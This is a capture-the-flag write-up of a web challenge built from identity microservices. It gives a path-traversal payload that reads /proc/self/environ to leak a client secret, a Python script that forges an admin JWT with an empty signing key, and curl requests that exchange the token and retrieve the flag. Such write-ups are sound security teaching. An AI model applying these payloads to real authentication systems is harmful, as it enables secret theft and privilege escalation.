swiss hacking challenge 2024 - centralized-identity

Posted on May 1, 2024

Difficulty: medium

Category: web

Author: NoRelect

Steve: Hey, Bob, have you heard about the new system that centralizes the identity store?

Bob: Oh, yeah, I think I read something about it in the latest IT newsletter. It’s supposed to streamline user authentication processes across all our platforms, right?

Steve: Exactly. It’s going to consolidate all our user data into one centralized repository, making it easier to manage access permissions and ensure security compliance.

Bob: Hmm, sounds intriguing. I wonder how it will integrate with our existing systems. Do you think there will be compatibility issues?

Steve: Well, according to the documentation I’ve skimmed through, they’ve designed it to be compatible with most common platforms and protocols. But I suppose we’ll have to run some tests to be sure.

Bob: Right, of course. Testing will be crucial to ensure a smooth transition. Do you know when they’re planning to roll it out?

Steve: Not sure about the exact timeline, but I think they mentioned something about a phased approach over the next few months. We’ll probably receive more detailed information closer to the implementation date.

Files

This challenge consists of 4 microservices:

centralized-identity
├── backend
│   ├── backend.py
│   ├── Dockerfile
│   └── requirements.txt
├── frontend
│   ├── Dockerfile
│   ├── frontend.py
│   ├── requirements.txt
│   └── templates
│       ├── homeoffice.html
│       ├── index.html
│       ├── printer.html
│       └── private.html
├── idp
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── web
│       ├── robots.txt
│       ├── static
│       │   ├── favicon.png
│       │   ├── logo.png
│       │   └── main.css
│       ├── templates
│       │   ├── approval.html
│       │   ├── device.html
│       │   ├── device_success.html
│       │   ├── error.html
│       │   ├── footer.html
│       │   ├── header.html
│       │   ├── login.html
│       │   ├── oob.html
│       │   └── password.html
│       └── web.go
└── token-exchange
    ├── Dockerfile
    ├── requirements.txt
    └── token-exchange.py

Exploitation

Our goal is to get the flag from the backend by proving we’re an admin:

@app.route("/flag")
def flag():
    token = request.args.get("token")
    if token is None or token == "":
        return "Invalid token", 400
    payload = jwt.decode(token, BACKEND_KEY, audience="backend", algorithms=["HS256"])
    name = payload.get("name")
    if name == "admin":
        return FLAG
    return f"Sorry, no flag for you, {name}.", 401

LFI in the frontend

We can log into the frontend using the following credentials from entrypoint.sh:

The frontend is vulnerable to LFI so we can access the client secret by navigating to page?page=../../../../proc/self/environ:

CLIENT_ID=frontend
CLIENT_SECRET=ZMyjEAypRBXCTQMIiqTbT8M8GXiGrSd

Forging a JWT

The token exchange has a minor bug that allows us to sign an arbitrary JWT for the admin user:

def get_value(dict, key):
    return dict.get(key) or ""

@app.route("/token", methods=["POST"])
def token_exchange():
    if not request.authorization:
        return "{\"error\":\"invalid_client\"}", 400
    client_id = request.authorization.username
    client_secret = request.authorization.password
    if CLIENT_ID != client_id or CLIENT_SECRET != client_secret:
        return "{\"error\":\"invalid_client\"}", 400
    grant_type = request.form.get("grant_type")

    # Inspired by https://www.rfc-editor.org/rfc/rfc8693.html
    if grant_type == "urn:ietf:params:oauth:grant-type:token-exchange":
        subject_token = request.form.get("subject_token")
        subject_token_type = request.form.get("subject_token_type")
        if subject_token_type != "urn:ietf:params:oauth:token-type:jwt":
            return "{\"error\":\"invalid_request\"}", 400

        header = jwt.get_unverified_header(subject_token)
        key_id = header.get("kid");
        if key_id is None:
            return "{\"error\":\"invalid_request\"}", 400
        key = get_value(KEYS, key_id)
        payload = jwt.decode(subject_token, key, audience=CLIENT_ID, algorithms=[header.get("alg")])
        payload["aud"] = "backend"
        exchanged_token = jwt.encode(payload, BACKEND_KEY, headers={"kid": "backend"})
        return "{\"access_token\":\""+exchanged_token+"\"}"
    else:
        return "{\"error\":\"unsupported_request\"}", 400

Notice how the get_values function returns an empty string instead of None if no key is found. pyJWT allows us to use an empty string as a key. That means, we can generate a “valid” JWT using the following script:

import jwt

header = {
    "alg": "HS256",
    "kid": "frontend",
}

payload = {
    "name": "admin",
    "aud": "frontend"
}

subject_token = jwt.encode(payload, key="", headers=header)
print(subject_token)

This gives us the following key:

eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJmcm9udGVuZCJ9.PVdxPIvYvLBCMoXvEQDF7hnEfKtd6WrGUX__kjEM7ZU

We can then exchange that token for an access token:

curl -X POST https://frontend:ZMyjEAypRBXCTQMIiqTbT8M8GXiGrSd@token-echange-instance-name.ctf.m0unt41n.ch:1337/token \
    -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
    -d "subject_token_type=urn:ietf:params:oauth:token-type:jwt" \
    -d "subject_token=eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJmcm9udGVuZCJ9.PVdxPIvYvLBCMoXvEQDF7hnEfKtd6WrGUX__kjEM7ZU"
{"access_token":"eyJhbGciOiJIUzI1NiIsImtpZCI6ImJhY2tlbmQiLCJ0eXAiOiJKV1QifQ.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJiYWNrZW5kIn0.MOxVUjMzQipgO7eBbxxwReDr_M5DBseOa6oFdV350rE"}

Lastly, we can request the flag using that:

curl -X GET https://backend-instance-name.ctf.m0unt41n.ch:1337/flag\?token\=eyJhbGciOiJIUzI1NiIsImtpZCI6ImJhY2tlbmQiLCJ0eXAiOiJKV1QifQ.eyJuYW1lIjoiYWRtaW4iLCJhdWQiOiJiYWNrZW5kIn0.MOxVUjMzQipgO7eBbxxwReDr_M5DBseOa6oFdV350rE

Flag

shc2024{get_unverified_header_is_really_unverified!}

Conclusion

You just gotta love challenges with an attack chain consisting of multiple steps :D